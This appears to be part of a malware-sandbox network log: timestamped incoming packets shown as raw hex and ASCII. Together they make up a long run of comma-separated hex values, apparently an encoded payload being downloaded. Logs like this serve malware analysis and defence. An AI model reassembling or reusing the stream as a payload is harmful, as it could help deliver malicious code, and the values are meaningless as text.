2023-04-20 23:05:19 UTC	16429	IN	Data Raw: 38 2c 61 32 2c 66 34 2c 35 31 2c 66 64 2c 31 35 34 2c 62 65 2c 34 38 2c 37 37 2c 36 65 2c 65 32 2c 31 31 65 2c 63 39 2c 63 31 2c 61 34 2c 31 37 31 2c 61 33 2c 31 32 31 2c 31 34 32 2c 34 66 2c 65 63 2c 35 65 2c 62 66 2c 62 37 2c 39 64 2c 31 36 33 2c 31 32 32 2c 31 31 32 2c 64 39 2c 37 34 2c 33 33 2c 31 33 37 2c 31 32 31 2c 62 62 2c 31 30 63 2c 35 33 2c 39 66 2c 63 34 2c 34 66 2c 31 31 62 2c 31 31 66 2c 31 35 34 2c 31 30 63 2c 38 38 2c 61 63 2c 38 34 2c 65 32 2c 31 31 38 2c 38 31 2c 35 38 2c 31 31 33 2c 31 34 32 2c 35 34 2c 31 31 34 2c 62 35 2c 36 32 2c 31 34 65 2c 31 33 63 2c 62 32 2c 63 39 2c 64 62 2c 31 36 36 2c 34 64 2c 36 36 2c 62 65 2c 39 63 2c 64 33 2c 61 36 2c 31 32 61 2c 61 39 2c 31 31 63 2c 35 65 2c 61 38 2c 39 31 2c 62 63 2c 39 61 2c 31 31 35 2c Data Ascii: 8,a2,f4,51,fd,154,be,48,77,6e,e2,11e,c9,c1,a4,171,a3,121,142,4f,ec,5e,bf,b7,9d,163,122,112,d9,74,33,137,121,bb,10c,53,9f,c4,4f,11b,11f,154,10c,88,ac,84,e2,118,81,58,113,142,54,114,b5,62,14e,13c,b2,c9,db,166,4d,66,be,9c,d3,a6,12a,a9,11c,5e,a8,91,bc,9a,115,
2023-04-20 23:05:19 UTC	16445	IN	Data Raw: 2c 61 66 2c 31 32 36 2c 66 39 2c 35 36 2c 31 30 37 2c 39 61 2c 31 31 66 2c 31 33 66 2c 34 66 2c 64 65 2c 39 61 2c 31 32 30 2c 31 31 35 2c 64 34 2c 31 30 62 2c 31 35 38 2c 64 30 2c 37 61 2c 37 35 2c 35 31 2c 39 36 2c 31 31 62 2c 31 34 63 2c 31 32 61 2c 31 31 38 2c 31 30 65 2c 31 32 62 2c 31 33 62 2c 37 63 2c 64 65 2c 31 33 62 2c 35 66 2c 61 31 2c 65 39 2c 31 30 62 2c 61 36 2c 65 63 2c 31 33 39 2c 31 31 65 2c 31 34 61 2c 63 34 2c 31 37 32 2c 31 32 31 2c 66 62 2c 38 31 2c 66 33 2c 31 31 36 2c 65 34 2c 35 31 2c 65 31 2c 31 35 63 2c 31 30 63 2c 61 38 2c 61 31 2c 65 33 2c 31 34 65 2c 31 33 39 2c 31 32 33 2c 36 62 2c 36 32 2c 64 32 2c 31 35 34 2c 61 33 2c 31 33 38 2c 63 32 2c 34 39 2c 66 34 2c 64 34 2c 35 36 2c 31 30 34 2c 31 33 38 2c 63 30 2c 64 61 2c 63 31 2c Data Ascii: ,af,126,f9,56,107,9a,11f,13f,4f,de,9a,120,115,d4,10b,158,d0,7a,75,51,96,11b,14c,12a,118,10e,12b,13b,7c,de,13b,5f,a1,e9,10b,a6,ec,139,11e,14a,c4,172,121,fb,81,f3,116,e4,51,e1,15c,10c,a8,a1,e3,14e,139,123,6b,62,d2,154,a3,138,c2,49,f4,d4,56,104,138,c0,da,c1,
2023-04-20 23:05:19 UTC	16461	IN	Data Raw: 31 63 2c 63 63 2c 31 31 66 2c 37 63 2c 62 36 2c 36 63 2c 35 38 2c 35 34 2c 31 30 31 2c 39 65 2c 61 34 2c 65 35 2c 31 32 64 2c 37 33 2c 31 30 34 2c 64 62 2c 62 35 2c 31 32 37 2c 31 33 63 2c 38 62 2c 31 30 64 2c 36 66 2c 38 64 2c 66 32 2c 31 34 31 2c 62 30 2c 31 33 36 2c 66 39 2c 65 38 2c 35 36 2c 37 64 2c 31 30 62 2c 31 36 35 2c 64 34 2c 65 38 2c 65 32 2c 62 39 2c 65 66 2c 39 34 2c 31 34 34 2c 64 31 2c 31 33 63 2c 66 61 2c 39 31 2c 66 63 2c 62 33 2c 64 37 2c 62 30 2c 61 62 2c 31 34 39 2c 65 35 2c 31 30 36 2c 66 62 2c 62 66 2c 39 62 2c 66 37 2c 65 38 2c 39 62 2c 63 61 2c 36 39 2c 36 64 2c 39 32 2c 66 36 2c 65 34 2c 39 32 2c 31 35 35 2c 66 36 2c 63 30 2c 38 33 2c 65 35 2c 31 32 33 2c 31 31 64 2c 64 34 2c 31 35 33 2c 66 65 2c 31 31 66 2c 66 37 2c 31 31 33 2c Data Ascii: 1c,cc,11f,7c,b6,6c,58,54,101,9e,a4,e5,12d,73,104,db,b5,127,13c,8b,10d,6f,8d,f2,141,b0,136,f9,e8,56,7d,10b,165,d4,e8,e2,b9,ef,94,144,d1,13c,fa,91,fc,b3,d7,b0,ab,149,e5,106,fb,bf,9b,f7,e8,9b,ca,69,6d,92,f6,e4,92,155,f6,c0,83,e5,123,11d,d4,153,fe,11f,f7,113,
2023-04-20 23:05:19 UTC	16477	IN	Data Raw: 36 63 2c 39 65 2c 39 30 2c 65 31 2c 37 33 2c 31 31 66 2c 31 32 35 2c 31 30 62 2c 31 30 62 2c 31 34 30 2c 38 30 2c 31 37 35 2c 65 31 2c 31 31 36 2c 34 38 2c 62 31 2c 35 36 2c 63 36 2c 36 62 2c 31 33 65 2c 39 62 2c 31 36 30 2c 35 31 2c 62 30 2c 65 66 2c 65 66 2c 65 31 2c 39 66 2c 31 37 32 2c 31 33 35 2c 31 33 38 2c 66 38 2c 37 31 2c 63 37 2c 31 30 61 2c 63 61 2c 65 33 2c 65 32 2c 37 66 2c 31 31 39 2c 31 31 36 2c 62 63 2c 39 34 2c 63 38 2c 36 38 2c 64 38 2c 31 32 32 2c 63 32 2c 31 31 38 2c 31 30 65 2c 65 39 2c 38 35 2c 31 32 36 2c 39 38 2c 31 30 31 2c 31 31 63 2c 31 36 31 2c 66 33 2c 64 31 2c 62 64 2c 31 33 32 2c 64 63 2c 39 39 2c 63 64 2c 66 61 2c 36 31 2c 35 39 2c 62 66 2c 31 34 30 2c 64 61 2c 66 61 2c 39 64 2c 31 33 66 2c 38 66 2c 65 61 2c 31 30 30 2c 31 Data Ascii: 6c,9e,90,e1,73,11f,125,10b,10b,140,80,175,e1,116,48,b1,56,c6,6b,13e,9b,160,51,b0,ef,ef,e1,9f,172,135,138,f8,71,c7,10a,ca,e3,e2,7f,119,116,bc,94,c8,68,d8,122,c2,118,10e,e9,85,126,98,101,11c,161,f3,d1,bd,132,dc,99,cd,fa,61,59,bf,140,da,fa,9d,13f,8f,ea,100,1
2023-04-20 23:05:19 UTC	16493	IN	Data Raw: 61 2c 37 33 2c 38 39 2c 63 31 2c 38 37 2c 61 62 2c 39 65 2c 31 30 30 2c 64 37 2c 65 66 2c 64 62 2c 65 64 2c 38 31 2c 39 37 2c 62 34 2c 64 32 2c 39 66 2c 37 36 2c 31 34 33 2c 38 38 2c 31 31 32 2c 31 30 33 2c 39 62 2c 38 65 2c 63 39 2c 31 34 32 2c 38 66 2c 63 36 2c 31 30 38 2c 66 31 2c 36 63 2c 36 30 2c 31 32 37 2c 65 66 2c 38 31 2c 66 38 2c 39 31 2c 33 39 2c 36 66 2c 62 66 2c 31 32 64 2c 31 30 62 2c 37 35 2c 35 39 2c 31 30 35 2c 63 65 2c 31 34 38 2c 31 31 34 2c 61 30 2c 63 34 2c 31 32 63 2c 34 33 2c 65 36 2c 34 38 2c 38 31 2c 31 31 64 2c 31 31 63 2c 31 35 36 2c 31 32 62 2c 31 31 31 2c 61 32 2c 31 30 36 2c 39 31 2c 66 33 2c 31 32 33 2c 36 34 2c 31 32 39 2c 61 33 2c 61 30 2c 34 32 2c 35 36 2c 31 35 34 2c 38 38 2c 62 62 2c 66 61 2c 31 30 34 2c 38 38 2c 31 30 Data Ascii: a,73,89,c1,87,ab,9e,100,d7,ef,db,ed,81,97,b4,d2,9f,76,143,88,112,103,9b,8e,c9,142,8f,c6,108,f1,6c,60,127,ef,81,f8,91,39,6f,bf,12d,10b,75,59,105,ce,148,114,a0,c4,12c,43,e6,48,81,11d,11c,156,12b,111,a2,106,91,f3,123,64,129,a3,a0,42,56,154,88,bb,fa,104,88,10
2023-04-20 23:05:19 UTC	16509	IN	Data Raw: 2c 37 39 2c 64 65 2c 31 33 65 2c 61 62 2c 63 31 2c 31 31 36 2c 31 32 33 2c 36 39 2c 66 61 2c 31 34 64 2c 31 37 36 2c 31 35 62 2c 31 32 33 2c 63 30 2c 66 32 2c 62 61 2c 35 63 2c 31 33 33 2c 39 35 2c 31 35 32 2c 39 30 2c 34 66 2c 65 65 2c 31 33 31 2c 66 61 2c 31 33 38 2c 31 32 39 2c 61 64 2c 63 63 2c 36 66 2c 38 37 2c 35 33 2c 65 62 2c 65 64 2c 65 38 2c 37 39 2c 31 32 36 2c 31 30 35 2c 31 30 39 2c 31 32 65 2c 31 30 65 2c 66 62 2c 61 30 2c 31 35 61 2c 31 35 61 2c 33 39 2c 63 32 2c 61 39 2c 65 61 2c 36 63 2c 61 35 2c 39 31 2c 38 61 2c 36 33 2c 64 63 2c 31 35 34 2c 64 35 2c 31 33 62 2c 31 32 63 2c 63 34 2c 31 33 32 2c 37 66 2c 31 31 65 2c 31 31 36 2c 31 30 35 2c 31 34 63 2c 31 31 32 2c 31 31 34 2c 31 31 30 2c 66 36 2c 66 32 2c 64 37 2c 31 32 32 2c 63 33 2c 64 Data Ascii: ,79,de,13e,ab,c1,116,123,69,fa,14d,176,15b,123,c0,f2,ba,5c,133,95,152,90,4f,ee,131,fa,138,129,ad,cc,6f,87,53,eb,ed,e8,79,126,105,109,12e,10e,fb,a0,15a,15a,39,c2,a9,ea,6c,a5,91,8a,63,dc,154,d5,13b,12c,c4,132,7f,11e,116,105,14c,112,114,110,f6,f2,d7,122,c3,d
2023-04-20 23:05:19 UTC	16525	IN	Data Raw: 39 33 2c 31 31 30 2c 31 31 32 2c 64 65 2c 64 61 2c 64 66 2c 34 33 2c 37 37 2c 61 36 2c 64 38 2c 62 63 2c 39 61 2c 37 62 2c 31 32 39 2c 37 64 2c 66 33 2c 65 30 2c 35 63 2c 65 30 2c 31 36 37 2c 31 32 34 2c 31 33 62 2c 33 36 2c 37 34 2c 66 66 2c 39 33 2c 31 34 34 2c 36 37 2c 31 32 63 2c 61 38 2c 31 32 31 2c 37 36 2c 31 32 36 2c 31 37 32 2c 31 31 66 2c 35 35 2c 36 38 2c 31 31 31 2c 31 30 35 2c 63 34 2c 37 32 2c 31 32 64 2c 61 30 2c 31 32 31 2c 31 34 30 2c 66 37 2c 64 62 2c 63 34 2c 66 33 2c 39 61 2c 37 30 2c 31 37 31 2c 31 31 65 2c 62 31 2c 36 33 2c 31 33 32 2c 38 31 2c 63 64 2c 31 34 63 2c 37 32 2c 66 35 2c 39 31 2c 38 66 2c 66 66 2c 31 30 32 2c 31 36 35 2c 64 31 2c 61 61 2c 38 34 2c 63 32 2c 31 32 32 2c 31 33 33 2c 31 31 32 2c 39 38 2c 39 30 2c 39 66 2c 62 Data Ascii: 93,110,112,de,da,df,43,77,a6,d8,bc,9a,7b,129,7d,f3,e0,5c,e0,167,124,13b,36,74,ff,93,144,67,12c,a8,121,76,126,172,11f,55,68,111,105,c4,72,12d,a0,121,140,f7,db,c4,f3,9a,70,171,11e,b1,63,132,81,cd,14c,72,f5,91,8f,ff,102,165,d1,aa,84,c2,122,133,112,98,90,9f,b
2023-04-20 23:05:19 UTC	16541	IN	Data Raw: 2c 66 63 2c 31 31 64 2c 35 65 2c 37 39 2c 36 66 2c 62 62 2c 37 36 2c 31 31 61 2c 66 63 2c 31 33 65 2c 63 66 2c 39 36 2c 38 35 2c 31 32 36 2c 39 34 2c 63 62 2c 35 35 2c 66 62 2c 66 62 2c 61 63 2c 35 34 2c 31 32 32 2c 66 62 2c 62 35 2c 64 64 2c 66 31 2c 31 32 61 2c 62 36 2c 61 32 2c 35 35 2c 37 37 2c 31 30 62 2c 64 39 2c 66 66 2c 37 35 2c 36 66 2c 37 32 2c 31 30 65 2c 65 66 2c 31 31 63 2c 61 33 2c 65 32 2c 38 66 2c 64 66 2c 62 61 2c 39 66 2c 31 30 31 2c 34 38 2c 31 30 64 2c 31 33 33 2c 31 34 64 2c 31 30 37 2c 35 30 2c 31 30 61 2c 61 66 2c 31 30 37 2c 31 33 30 2c 37 32 2c 31 32 64 2c 31 33 38 2c 31 33 31 2c 66 33 2c 65 63 2c 38 37 2c 61 65 2c 31 31 31 2c 61 64 2c 65 39 2c 31 33 30 2c 36 37 2c 36 66 2c 39 66 2c 37 34 2c 61 31 2c 31 34 37 2c 38 63 2c 62 39 2c Data Ascii: ,fc,11d,5e,79,6f,bb,76,11a,fc,13e,cf,96,85,126,94,cb,55,fb,fb,ac,54,122,fb,b5,dd,f1,12a,b6,a2,55,77,10b,d9,ff,75,6f,72,10e,ef,11c,a3,e2,8f,df,ba,9f,101,48,10d,133,14d,107,50,10a,af,107,130,72,12d,138,131,f3,ec,87,ae,111,ad,e9,130,67,6f,9f,74,a1,147,8c,b9,
2023-04-20 23:05:19 UTC	16557	IN	Data Raw: 2c 61 31 2c 38 62 2c 39 64 2c 37 65 2c 65 66 2c 31 34 63 2c 62 33 2c 31 34 36 2c 65 34 2c 65 30 2c 34 34 2c 39 63 2c 31 34 31 2c 31 32 65 2c 31 34 64 2c 34 35 2c 31 35 30 2c 66 32 2c 34 30 2c 61 66 2c 31 30 39 2c 31 31 36 2c 63 63 2c 66 61 2c 31 32 30 2c 61 30 2c 61 63 2c 31 34 32 2c 39 37 2c 31 34 61 2c 65 62 2c 37 31 2c 63 36 2c 31 31 32 2c 37 32 2c 38 62 2c 39 61 2c 31 30 63 2c 63 66 2c 61 39 2c 31 30 63 2c 61 61 2c 62 38 2c 63 62 2c 63 63 2c 31 33 65 2c 31 35 62 2c 31 33 30 2c 31 35 37 2c 31 32 39 2c 64 33 2c 38 39 2c 36 33 2c 61 64 2c 35 64 2c 31 32 38 2c 35 33 2c 37 66 2c 31 33 31 2c 31 33 34 2c 37 63 2c 62 37 2c 63 65 2c 63 39 2c 31 30 66 2c 63 33 2c 38 62 2c 66 34 2c 31 34 36 2c 39 32 2c 39 62 2c 64 38 2c 31 31 62 2c 62 65 2c 64 35 2c 36 37 2c 63 Data Ascii: ,a1,8b,9d,7e,ef,14c,b3,146,e4,e0,44,9c,141,12e,14d,45,150,f2,40,af,109,116,cc,fa,120,a0,ac,142,97,14a,eb,71,c6,112,72,8b,9a,10c,cf,a9,10c,aa,b8,cb,cc,13e,15b,130,157,129,d3,89,63,ad,5d,128,53,7f,131,134,7c,b7,ce,c9,10f,c3,8b,f4,146,92,9b,d8,11b,be,d5,67,c
2023-04-20 23:05:19 UTC	16573	IN	Data Raw: 2c 65 38 2c 61 34 2c 39 64 2c 31 32 61 2c 31 34 62 2c 63 35 2c 37 64 2c 38 61 2c 61 35 2c 39 39 2c 62 34 2c 62 38 2c 65 39 2c 62 31 2c 37 34 2c 63 61 2c 31 30 39 2c 65 38 2c 31 31 35 2c 31 35 37 2c 66 31 2c 31 30 35 2c 34 35 2c 31 30 61 2c 37 31 2c 63 36 2c 31 31 62 2c 66 33 2c 31 36 36 2c 63 37 2c 37 61 2c 31 32 39 2c 64 63 2c 34 37 2c 37 31 2c 31 32 34 2c 31 32 30 2c 31 34 61 2c 38 62 2c 33 39 2c 31 33 65 2c 64 64 2c 62 65 2c 31 30 61 2c 31 34 38 2c 66 32 2c 61 35 2c 31 30 37 2c 61 61 2c 66 32 2c 37 33 2c 63 66 2c 31 35 38 2c 31 34 65 2c 63 63 2c 62 33 2c 31 31 62 2c 65 64 2c 36 32 2c 31 31 34 2c 31 31 38 2c 66 36 2c 39 63 2c 38 33 2c 31 35 33 2c 31 30 36 2c 36 31 2c 39 30 2c 31 35 63 2c 31 32 64 2c 63 35 2c 31 30 64 2c 38 62 2c 31 32 34 2c 31 31 34 2c Data Ascii: ,e8,a4,9d,12a,14b,c5,7d,8a,a5,99,b4,b8,e9,b1,74,ca,109,e8,115,157,f1,105,45,10a,71,c6,11b,f3,166,c7,7a,129,dc,47,71,124,120,14a,8b,39,13e,dd,be,10a,148,f2,a5,107,aa,f2,73,cf,158,14e,cc,b3,11b,ed,62,114,118,f6,9c,83,153,106,61,90,15c,12d,c5,10d,8b,124,114,
2023-04-20 23:05:20 UTC	16589	IN	Data Raw: 31 34 66 2c 31 34 34 2c 63 38 2c 65 35 2c 36 61 2c 31 32 63 2c 66 32 2c 61 36 2c 65 38 2c 65 35 2c 64 31 2c 65 64 2c 65 37 2c 38 62 2c 31 30 32 2c 31 31 37 2c 38 32 2c 31 34 33 2c 37 33 2c 34 66 2c 66 66 2c 31 31 63 2c 65 38 2c 63 62 2c 31 33 63 2c 37 36 2c 62 61 2c 38 33 2c 31 32 34 2c 62 66 2c 31 34 31 2c 31 34 33 2c 66 36 2c 31 35 31 2c 31 31 61 2c 38 34 2c 66 65 2c 35 31 2c 64 38 2c 31 34 31 2c 31 30 61 2c 65 30 2c 39 64 2c 38 65 2c 31 34 64 2c 31 32 64 2c 31 31 39 2c 31 31 63 2c 64 30 2c 31 35 30 2c 31 30 35 2c 33 66 2c 66 38 2c 35 62 2c 38 33 2c 61 36 2c 35 38 2c 63 63 2c 35 33 2c 35 34 2c 66 36 2c 64 62 2c 31 33 66 2c 31 34 33 2c 65 62 2c 31 34 32 2c 62 66 2c 31 32 36 2c 62 36 2c 38 38 2c 62 66 2c 31 33 36 2c 31 36 34 2c 36 62 2c 38 34 2c 39 30 2c Data Ascii: 14f,144,c8,e5,6a,12c,f2,a6,e8,e5,d1,ed,e7,8b,102,117,82,143,73,4f,ff,11c,e8,cb,13c,76,ba,83,124,bf,141,143,f6,151,11a,84,fe,51,d8,141,10a,e0,9d,8e,14d,12d,119,11c,d0,150,105,3f,f8,5b,83,a6,58,cc,53,54,f6,db,13f,143,eb,142,bf,126,b6,88,bf,136,164,6b,84,90,
2023-04-20 23:05:20 UTC	16605	IN	Data Raw: 65 2c 31 32 35 2c 66 62 2c 61 66 2c 31 31 31 2c 31 31 65 2c 37 37 2c 31 34 38 2c 37 63 2c 65 38 2c 31 32 64 2c 65 35 2c 66 33 2c 64 34 2c 38 33 2c 66 30 2c 66 38 2c 31 33 31 2c 31 31 30 2c 65 34 2c 31 33 30 2c 65 32 2c 31 34 64 2c 38 34 2c 31 33 32 2c 38 36 2c 65 66 2c 37 64 2c 62 31 2c 37 62 2c 65 34 2c 31 30 63 2c 31 30 64 2c 65 62 2c 31 30 39 2c 66 63 2c 31 33 30 2c 66 35 2c 34 37 2c 31 33 33 2c 66 63 2c 31 33 63 2c 31 31 62 2c 31 31 61 2c 37 36 2c 61 31 2c 39 31 2c 31 34 35 2c 66 34 2c 64 39 2c 31 34 34 2c 64 62 2c 31 30 61 2c 62 65 2c 31 34 33 2c 63 30 2c 62 65 2c 31 34 36 2c 37 61 2c 31 30 34 2c 31 33 37 2c 66 64 2c 64 62 2c 65 35 2c 31 33 66 2c 31 31 38 2c 31 33 64 2c 31 31 38 2c 31 35 62 2c 62 34 2c 36 30 2c 31 32 36 2c 36 63 2c 31 30 36 2c 65 31 Data Ascii: e,125,fb,af,111,11e,77,148,7c,e8,12d,e5,f3,d4,83,f0,f8,131,110,e4,130,e2,14d,84,132,86,ef,7d,b1,7b,e4,10c,10d,eb,109,fc,130,f5,47,133,fc,13c,11b,11a,76,a1,91,145,f4,d9,144,db,10a,be,143,c0,be,146,7a,104,137,fd,db,e5,13f,118,13d,118,15b,b4,60,126,6c,106,e1
2023-04-20 23:05:20 UTC	16621	IN	Data Raw: 62 30 2c 33 63 2c 35 64 2c 31 31 33 2c 31 35 64 2c 66 34 2c 31 30 62 2c 31 32 30 2c 37 30 2c 33 62 2c 65 38 2c 63 62 2c 66 30 2c 66 37 2c 66 33 2c 64 61 2c 31 32 38 2c 31 36 33 2c 62 33 2c 66 38 2c 35 31 2c 31 33 36 2c 37 38 2c 31 32 64 2c 38 39 2c 66 61 2c 38 38 2c 63 32 2c 39 33 2c 61 63 2c 38 32 2c 31 30 32 2c 62 38 2c 31 32 39 2c 39 35 2c 31 31 62 2c 63 34 2c 31 34 39 2c 31 30 33 2c 31 32 63 2c 31 31 37 2c 66 62 2c 38 61 2c 37 63 2c 64 62 2c 31 34 61 2c 31 32 62 2c 38 33 2c 31 30 37 2c 64 62 2c 31 33 37 2c 66 62 2c 39 61 2c 62 39 2c 31 33 66 2c 38 34 2c 31 30 65 2c 34 33 2c 61 30 2c 31 32 66 2c 66 31 2c 31 33 38 2c 31 30 35 2c 31 33 63 2c 31 36 34 2c 35 61 2c 31 30 34 2c 31 31 63 2c 31 37 32 2c 31 30 32 2c 62 30 2c 65 62 2c 31 31 37 2c 34 38 2c 62 65 Data Ascii: b0,3c,5d,113,15d,f4,10b,120,70,3b,e8,cb,f0,f7,f3,da,128,163,b3,f8,51,136,78,12d,89,fa,88,c2,93,ac,82,102,b8,129,95,11b,c4,149,103,12c,117,fb,8a,7c,db,14a,12b,83,107,db,137,fb,9a,b9,13f,84,10e,43,a0,12f,f1,138,105,13c,164,5a,104,11c,172,102,b0,eb,117,48,be
2023-04-20 23:05:20 UTC	16637	IN	Data Raw: 2c 31 30 30 2c 61 62 2c 31 31 65 2c 31 33 62 2c 31 34 61 2c 65 61 2c 31 30 31 2c 37 30 2c 31 30 38 2c 63 37 2c 65 65 2c 64 65 2c 39 63 2c 31 34 61 2c 64 30 2c 31 31 37 2c 66 64 2c 61 33 2c 63 32 2c 62 39 2c 31 32 35 2c 31 34 62 2c 31 35 39 2c 63 32 2c 31 31 62 2c 31 30 31 2c 31 30 30 2c 37 35 2c 61 34 2c 31 31 34 2c 61 37 2c 31 34 35 2c 31 31 61 2c 31 31 35 2c 61 38 2c 62 63 2c 66 62 2c 31 34 36 2c 31 33 34 2c 31 32 33 2c 62 34 2c 65 32 2c 31 34 36 2c 63 63 2c 36 31 2c 31 32 34 2c 62 34 2c 63 31 2c 31 31 36 2c 65 32 2c 37 64 2c 63 66 2c 31 32 64 2c 31 30 30 2c 31 36 30 2c 62 36 2c 36 39 2c 31 30 64 2c 31 34 30 2c 37 65 2c 61 65 2c 31 33 32 2c 39 37 2c 31 30 65 2c 31 30 33 2c 63 39 2c 66 33 2c 64 39 2c 31 36 33 2c 31 36 30 2c 65 64 2c 64 65 2c 61 30 2c 34 Data Ascii: ,100,ab,11e,13b,14a,ea,101,70,108,c7,ee,de,9c,14a,d0,117,fd,a3,c2,b9,125,14b,159,c2,11b,101,100,75,a4,114,a7,145,11a,115,a8,bc,fb,146,134,123,b4,e2,146,cc,61,124,b4,c1,116,e2,7d,cf,12d,100,160,b6,69,10d,140,7e,ae,132,97,10e,103,c9,f3,d9,163,160,ed,de,a0,4
2023-04-20 23:05:20 UTC	16653	IN	Data Raw: 63 2c 31 32 34 2c 31 32 63 2c 38 66 2c 31 33 32 2c 33 38 2c 35 30 2c 39 36 2c 63 37 2c 39 31 2c 37 63 2c 34 38 2c 31 31 65 2c 61 34 2c 61 63 2c 37 39 2c 31 32 63 2c 61 33 2c 31 33 37 2c 35 36 2c 66 65 2c 64 35 2c 31 31 66 2c 31 34 38 2c 31 31 36 2c 31 32 64 2c 66 64 2c 64 38 2c 31 35 36 2c 66 34 2c 65 32 2c 37 61 2c 64 62 2c 63 66 2c 31 33 31 2c 38 33 2c 31 33 65 2c 31 30 38 2c 36 30 2c 61 66 2c 31 31 38 2c 61 64 2c 63 37 2c 33 63 2c 63 30 2c 64 38 2c 31 32 31 2c 61 61 2c 62 34 2c 31 31 38 2c 65 31 2c 31 31 35 2c 61 38 2c 31 32 37 2c 61 65 2c 31 35 31 2c 31 36 30 2c 38 30 2c 33 66 2c 39 32 2c 38 62 2c 36 33 2c 39 66 2c 38 37 2c 31 36 37 2c 36 34 2c 39 34 2c 62 30 2c 31 34 33 2c 38 37 2c 36 63 2c 31 35 30 2c 63 63 2c 31 31 62 2c 31 31 39 2c 31 31 38 2c 63 Data Ascii: c,124,12c,8f,132,38,50,96,c7,91,7c,48,11e,a4,ac,79,12c,a3,137,56,fe,d5,11f,148,116,12d,fd,d8,156,f4,e2,7a,db,cf,131,83,13e,108,60,af,118,ad,c7,3c,c0,d8,121,aa,b4,118,e1,115,a8,127,ae,151,160,80,3f,92,8b,63,9f,87,167,64,94,b0,143,87,6c,150,cc,11b,119,118,c
2023-04-20 23:05:20 UTC	16669	IN	Data Raw: 66 30 2c 62 61 2c 31 31 37 2c 31 33 66 2c 65 35 2c 63 66 2c 35 30 2c 31 35 66 2c 31 32 34 2c 35 62 2c 31 30 62 2c 39 32 2c 31 30 66 2c 31 31 39 2c 64 65 2c 62 62 2c 65 35 2c 31 31 39 2c 31 35 63 2c 31 32 34 2c 31 31 66 2c 35 36 2c 38 33 2c 65 33 2c 31 30 66 2c 61 31 2c 66 31 2c 31 32 31 2c 38 65 2c 34 34 2c 31 34 61 2c 37 31 2c 33 31 2c 65 35 2c 39 31 2c 62 62 2c 63 38 2c 36 66 2c 34 34 2c 31 33 38 2c 37 64 2c 61 62 2c 35 61 2c 31 34 33 2c 37 39 2c 31 36 34 2c 35 32 2c 31 34 61 2c 38 36 2c 65 38 2c 38 35 2c 36 66 2c 62 61 2c 63 30 2c 33 38 2c 64 33 2c 34 61 2c 31 32 32 2c 31 32 62 2c 38 36 2c 65 36 2c 31 31 38 2c 31 34 34 2c 31 30 38 2c 62 62 2c 65 34 2c 39 66 2c 64 32 2c 31 34 36 2c 36 37 2c 66 34 2c 31 35 30 2c 36 61 2c 63 62 2c 66 30 2c 63 66 2c 64 65 Data Ascii: f0,ba,117,13f,e5,cf,50,15f,124,5b,10b,92,10f,119,de,bb,e5,119,15c,124,11f,56,83,e3,10f,a1,f1,121,8e,44,14a,71,31,e5,91,bb,c8,6f,44,138,7d,ab,5a,143,79,164,52,14a,86,e8,85,6f,ba,c0,38,d3,4a,122,12b,86,e6,118,144,108,bb,e4,9f,d2,146,67,f4,150,6a,cb,f0,cf,de
2023-04-20 23:05:20 UTC	16685	IN	Data Raw: 2c 39 34 2c 31 30 63 2c 61 32 2c 37 31 2c 66 32 2c 64 30 2c 64 66 2c 31 31 39 2c 31 33 30 2c 66 31 2c 64 32 2c 35 39 2c 62 66 2c 31 37 34 2c 31 31 39 2c 31 30 35 2c 65 30 2c 35 65 2c 65 62 2c 35 38 2c 36 63 2c 65 37 2c 62 36 2c 31 33 39 2c 66 36 2c 37 36 2c 61 63 2c 31 33 62 2c 63 38 2c 31 31 64 2c 66 66 2c 31 33 31 2c 62 61 2c 65 38 2c 61 31 2c 31 30 35 2c 33 62 2c 65 66 2c 31 30 34 2c 31 32 36 2c 64 30 2c 37 39 2c 66 61 2c 39 37 2c 64 36 2c 38 65 2c 63 33 2c 38 36 2c 31 30 61 2c 61 30 2c 64 37 2c 31 34 32 2c 31 33 35 2c 36 36 2c 31 33 65 2c 31 35 36 2c 37 34 2c 64 63 2c 31 35 66 2c 66 64 2c 32 64 2c 38 62 2c 31 33 35 2c 61 62 2c 31 35 36 2c 36 64 2c 35 37 2c 65 65 2c 35 32 2c 64 31 2c 31 33 36 2c 31 31 39 2c 31 30 33 2c 62 66 2c 64 33 2c 31 32 37 2c 31 Data Ascii: ,94,10c,a2,71,f2,d0,df,119,130,f1,d2,59,bf,174,119,105,e0,5e,eb,58,6c,e7,b6,139,f6,76,ac,13b,c8,11d,ff,131,ba,e8,a1,105,3b,ef,104,126,d0,79,fa,97,d6,8e,c3,86,10a,a0,d7,142,135,66,13e,156,74,dc,15f,fd,2d,8b,135,ab,156,6d,57,ee,52,d1,136,119,103,bf,d3,127,1
2023-04-20 23:05:20 UTC	16701	IN	Data Raw: 31 2c 61 39 2c 66 36 2c 65 34 2c 31 32 33 2c 63 32 2c 62 31 2c 31 30 34 2c 66 39 2c 66 30 2c 61 65 2c 31 31 38 2c 39 34 2c 37 34 2c 31 34 31 2c 38 63 2c 38 36 2c 31 35 30 2c 66 39 2c 39 31 2c 31 37 31 2c 31 31 39 2c 66 33 2c 31 31 33 2c 35 61 2c 35 38 2c 63 35 2c 31 31 35 2c 39 30 2c 31 31 35 2c 63 61 2c 34 30 2c 31 32 36 2c 36 65 2c 62 61 2c 31 33 38 2c 63 34 2c 31 32 33 2c 37 35 2c 34 64 2c 36 62 2c 31 33 31 2c 37 30 2c 31 33 66 2c 62 37 2c 62 62 2c 31 33 61 2c 31 32 35 2c 37 38 2c 36 62 2c 37 61 2c 31 33 33 2c 31 35 36 2c 31 32 34 2c 66 61 2c 31 32 63 2c 66 32 2c 31 34 31 2c 66 66 2c 66 66 2c 31 32 63 2c 37 66 2c 31 35 37 2c 63 36 2c 31 33 38 2c 31 32 39 2c 39 34 2c 31 34 63 2c 61 62 2c 38 31 2c 31 33 39 2c 61 30 2c 39 66 2c 37 36 2c 31 32 38 2c 31 31 Data Ascii: 1,a9,f6,e4,123,c2,b1,104,f9,f0,ae,118,94,74,141,8c,86,150,f9,91,171,119,f3,113,5a,58,c5,115,90,115,ca,40,126,6e,ba,138,c4,123,75,4d,6b,131,70,13f,b7,bb,13a,125,78,6b,7a,133,156,124,fa,12c,f2,141,ff,ff,12c,7f,157,c6,138,129,94,14c,ab,81,139,a0,9f,76,128,11
